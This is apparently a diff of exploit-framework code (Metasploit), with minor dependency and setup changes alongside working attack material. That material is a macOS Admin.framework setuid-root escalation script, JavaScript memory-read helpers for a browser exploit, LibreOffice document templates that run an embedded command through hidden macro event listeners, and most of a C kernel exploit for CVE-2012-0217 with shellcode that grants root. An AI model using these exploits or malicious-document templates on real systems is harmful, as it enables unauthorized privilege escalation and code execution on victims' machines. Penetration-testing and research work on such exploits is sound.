rspec-rails, 3.8.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.0, MIT
ruby-macho, 2.1.0, MIT
rspec-support, 3.8.2, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.0.5, "New BSD"
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.2, "Simplified BSD"
sawyer, 0.8.1, MIT
simplecov, 0.16.1, MIT
rubyzip, 1.2.3, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov-html, 0.10.2, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 1.9.0, MIT
sshkey, 2.0.0, MIT
thor, 0.20.3, MIT
thread_safe, 0.3.6, "Apache 2.0"
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2018.9, MIT
tzinfo-data, 1.2019.2, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.18, MIT
yard, 0.9.20, MIT
Vendored
-1
View File
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
"mkdir -p ~/.msf4",
].each do |step|
+18 -3
View File
@@ -22,11 +22,26 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
$stderr.puts " $ gem install bundler"
rescue LoadError => e
$stderr.puts "[*] Bundler failed to load and returned this error:"
$stderr.puts
$stderr.puts " '#{e}'"
$stderr.puts
$stderr.puts "[*] You may need to uninstall or upgrade bundler"
exit(1)
end
+3 -3
View File
@@ -27,7 +27,7 @@ def use_old_api():
args = sys.argv
if len(args) != 3:
print "usage: exploit.py source_binary dest_binary_as_root"
print("usage: exploit.py source_binary dest_binary_as_root")
sys.exit(-1)
source_binary = args[1]
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
print "will write file", dest_binary
print("will write file", dest_binary)
if use_old_api():
adm_lib = load_lib("/Admin.framework/Admin")
@@ -68,6 +68,6 @@ else:
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
print "Done!"
print("Done!")
del pool
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
<office:scripts>
<office:script script:language="ooo:Basic">
<ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
<ooo:library-embedded ooo:name="Standard"/>
</ooo:libraries>
</office:script>
</office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
</office:text>
</office:body>
</office:document>
+12
View File
@@ -79,6 +79,18 @@ function Int64(v) {
return '0x' + hexlify(Array.from(bytes).reverse());
};
this.lo = function()
{
var b = this.bytes();
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
};
this.hi = function()
{
var b = this.bytes();
return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
+133
View File
@@ -46,6 +46,139 @@ function hexdump(data) {
return lines.join('\n');
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function b2u32(b)
{
return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
}
function off2addr(segs, off)
{
if(!(off instanceof Int64)) off = new Int64(off);
for(var i = 0; i < segs.length; ++i)
{
var start = segs[i].fileoff;
var end = Add(start, segs[i].size);
if
(
(start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
(end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
)
{
return Add(segs[i].addr, Sub(off, start));
}
}
return new Int64("0x4141414141414141");
}
function fsyms(mem, base, segs, want, syms)
{
want = Array.from(want); // copy
if(syms === undefined)
{
syms = {};
}
var stab = null;
var ncmds = mem.u32(Add(base, 0x10));
for(var i = 0, off = 0x20; i < ncmds; ++i)
{
var cmd = mem.u32(Add(base, off));
if(cmd == 0x2) // LC_SYMTAB
{
var b = mem.read(Add(base, off + 0x8), 0x10);
stab =
{
symoff: b2u32(b.slice(0x0, 0x4)),
nsyms: b2u32(b.slice(0x4, 0x8)),
stroff: b2u32(b.slice(0x8, 0xc)),
strsize: b2u32(b.slice(0xc, 0x10)),
};
break;
}
off += mem.u32(Add(base, off + 0x4));
}
if(stab == null)
{
fail("stab");
}
var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
var fn = function(i)
{
return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
};
for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
{
tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
for(var j = 0; j < want.length; ++j)
{
var s = want[j];
if((strcmp(fn, s)))
{
syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
want.splice(j, 1);
break;
}
}
}
return syms;
}
function strcmp(b, str)
{
var fn = typeof b == "function" ? b : function(i) { return b[i]; };
for(var i = 0; i < str.length; ++i)
{
if(fn(i) != str.charCodeAt(i))
{
return false;
}
}
return fn(str.length) == 0;
}
function _u32(i)
{
return b2u32(this.read(i, 4));
}
function _read(i, l)
{
if (i instanceof Int64) i = i.lo();
if (l instanceof Int64) l = l.lo();
if (i + l > this.length)
{
fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
}
return this.slice(i, i + l);
}
function _readInt64(addr)
{
return new Int64(this.read(addr, 8));
}
function _writeInt64(i, val)
{
if (i instanceof Int64) i = i.lo();
this.set(val.bytes(), i);
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+15
View File
@@ -0,0 +1,15 @@
#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:4
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:3.433333,
epicsax0.ts
#EXTINF:1.700000,
epicsax1.ts
#EXTINF:1.700000,
epicsax2.ts
#EXTINF:1.700000,
epicsax3.ts
#EXTINF:1.466667,
epicsax4.ts
#EXT-X-ENDLIST
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+42
View File
@@ -0,0 +1,42 @@
<?xml version="1.0" encoding="UTF-8"?>
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
<office:styles>
<style:default-style style:family="graphic">
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
<style:tab-stops/>
</style:paragraph-properties>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
</style:default-style>
<style:default-style style:family="paragraph">
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
</style:default-style>
<style:default-style style:family="table">
<style:table-properties table:border-model="collapsing"/>
</style:default-style>
<style:default-style style:family="table-row">
<style:table-row-properties fo:keep-together="auto"/>
</style:default-style>
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
</style:style>
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
</style:style>
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
</office:styles>
<office:master-styles>
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
</office:master-styles>
<office:body>
<office:text>
<text:p text:style-name="P8"><%= @cmd %></text:p>
<text:p text:style-name="Standard">#<%= text_content %></text:p>
</office:text>
</office:body>
</office:document>
+345
View File
@@ -0,0 +1,345 @@
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
struct gate_descriptor * sidt()
{
struct region_descriptor idt;
asm ("sidt %0": "=m"(idt));
return (struct gate_descriptor*)idt.rd_base;
}
u_long get_symaddr(char *symname)
{
struct kld_sym_lookup ksym;
ksym.version = sizeof (ksym);
ksym.symname = symname;
if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
perror("kldsym");
exit(1);
}
printf(" [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
return ksym.symvalue;
}
// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
struct gate_descriptor *ip;
ip = idt + idx;
ip->gd_looffset = func;
ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
ip->gd_ist = ist;
ip->gd_xx = 0;
ip->gd_type = typ;
ip->gd_dpl = dpl;
ip->gd_p = 1;
ip->gd_hioffset = func>>16;
}
void shellcode()
{
// Actually we dont really need to spawn a shell since we
// changed our whole cred struct.
// Just exit...
printf("[*] Got root!\n");
exit(0);
}
void kernelmodepayload()
{
struct thread *td;
struct ucred *cred;
// We need to restore/recover whatever we smashed
// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
// idt[18], idt[17] and idt[16]
// thus overall we have:
// - idt[18], idt[17] and idt[16] are trashed
// - tf_addr -> overwrites the 64bit-LSB of idt[15]
// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
// - rdi -> overwrites the 64bit-LSB of idt[7]
// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
struct gate_descriptor *idt = sidt();
setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
// get the thread pointer
asm ("mov %%gs:0, %0" : "=r"(td));
// The Dark Knight Rises
cred = td->td_proc->p_ucred;
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
// return to user mode to spawn the shell
asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}
#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18
void trigger()
{
printf("[*] Setup...\n");
// Allocate one page just before the non-canonical address
printf(" [+] Trigger code...\n");
uint64_t pagesize = getpagesize();
uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
area = mmap(area, pagesize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if (area == MAP_FAILED) {
perror("mmap (trigger)");
exit(1);
}
// Copy the trigger code at the end of the page
// such that the syscall instruction is at its
// boundary
char triggercode[] =
"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
"\x0f\x05"; // syscall
uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
// There are two outcomes given a target rsp:
// - if rsp can't be written to, a double fault is triggered
// (Xdblfault defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to a special stack
// - otherwise a #GP is triggered
// (Xprot defined in sys/amd64/amd64/exception.S)
// and the exception frame is pushed to [rsp]
//
// In the latter case, trouble is... #GP triggers a page fault
// (Xpage):
// IDTVEC(prot)
// subq $TF_ERR,%rsp
// [1] movl $T_PROTFLT,TF_TRAPNO(%rsp)
// [2] movq $0,TF_ADDR(%rsp)
// [3] movq %rdi,TF_RDI(%rsp) /* free up a GP register */
// leaq doreti_iret(%rip),%rdi
// cmpq %rdi,TF_RIP(%rsp)
// je 1f /* kernel but with user gsbase!! */
// [4] testb $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
// jz 2f /* already running with kernel GS.base */
// 1: swapgs
// 2: movq PCPU(CURPCB),%rdi [5]
//
// [4] sets the Z flag because we come from the kernel (while executing sysret)
// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
// it was restored just before calling sysret...
// Thus, [5] triggers a pagefault while trying to access gs:data
// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
//
// We therefore need a way: (1) to recover from the GP, (2) to clean
// any mess we did. Both could be solved if we can get get an arbitrary
// code execution by the time we reach [5] (NB: this is not mandatory, we could
// get the code execution later down the fault trigger chain)
//
// So... here is the idea: wouldn't it be nice if we could overwrite the
// page fault handler's address and therefore get code execution when [5]
// triggers the #PF?
//
// For reference:
// Gate descriptor:
// +0: Target Offset[15:0] | Target Selector
// +4: Some stuff | Target Offset[31:16]
// +8: Target Offset[63:32]
// +12: Stuff
//
// and from include/frame.h:
// struct trapframe {
// register_t tf_rdi;
// register_t tf_rsi;
// register_t tf_rdx;
// register_t tf_rcx;
// register_t tf_r8;
// register_t tf_r9;
// register_t tf_rax;
// register_t tf_rbx;
// register_t tf_rbp;
// register_t tf_r10;
// register_t tf_r11;
// register_t tf_r12;
// register_t tf_r13;
// register_t tf_r14;
// register_t tf_r15;
// uint32_t tf_trapno;
// uint16_t tf_fs;
// uint16_t tf_gs;
// register_t tf_addr;
// uint32_t tf_flags;
// uint16_t tf_es;
// uint16_t tf_ds;
// /* below portion defined in hardware */
// register_t tf_err;
// register_t tf_rip;
// register_t tf_cs;
// register_t tf_rflags;
// register_t tf_rsp;
// register_t tf_ss;
// };
//
// When the exception is triggered, the hardware pushes
// ss, rsp, rflags, cs, rip and err
//
// We can see that [1], [2] and [3] write to the stack
// [3] is fully user-controlled through rdi, so we could try to align
// rsp such that [3] overwrites the offset address
//
// The trouble is... rsp is 16byte aligned for exceptions. We can
// therefore only overwrite the first 32-LSB of the offset address
// (check how rdi is 16byte aligned in this trapframe)
//
// [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
// That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
// and tf_trapno is 16byte aligned + 8!
// This enables us to set Target Offset[63:32] to 0x9
//
// We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
*(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
// Hence, the #PF handler's address is now 0x9WWXXYYZZ
// Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
// Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
// some setup and jump to our kernel mode code
printf(" [+] Trampoline code...\n");
char trampolinecode[] =
"\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
"\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
"\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
"\xff\xe0"; // jmp rax
uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
size_t trampoline_allocsize = pagesize;
// We round the address to the PAGESIZE for the allocation
// Not enough space for the trampoline code ?
if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
trampoline_allocsize += pagesize;
if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
{
perror("mmap (trampoline)");
exit(1);
}
memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
*(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
// Call it
printf("[*] Fire in the hole!\n");
((void (*)())trigger_addr)();
}
typedef struct validtarget
{
char * sysname;
char * release;
char * machine;
} validtarget_t;
int validate_target(char * sysname, char * release, char * machine)
{
validtarget_t targets[] = {
{ "FreeBSD", "8.3-RELEASE", "amd64" },
{ "FreeBSD", "9.0-RELEASE", "amd64" },
{ 0, 0, 0 }
};
int found = 0;
int i = 0;
while (!found && targets[i].sysname) {
found = !strcmp(targets[i].sysname, sysname)
&& !strcmp(targets[i].release, release)
&& !strcmp(targets[i].machine, machine);
++i;
}
return found;
}
void get_cpu_vendor(char * cpu_vendor)
{
u_int regs[4];
do_cpuid(0, regs);
((u_int *)cpu_vendor)[0] = regs[1];
((u_int *)cpu_vendor)[1] = regs[3];
((u_int *)cpu_vendor)[2] = regs[2];
cpu_vendor[12] = '\0';
}
int is_intel()
{
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
return !strcmp(cpu_vendor, "GenuineIntel");
}
int main(int argc, char *argv[])
{
printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");
printf("[*] Retrieving host information...\n");
char cpu_vendor[13];
get_cpu_vendor(cpu_vendor);
struct utsname ver;
uname(&ver);
printf(" [+] CPU: %s\n", cpu_vendor);
printf(" [+] sysname: %s\n", ver.sysname);
printf(" [+] release: %s\n", ver.release);
printf(" [+] version: %s\n", ver.version);
printf(" [+] machine: %s\n", ver.machine);
printf("[*] Validating target OS and version...\n");
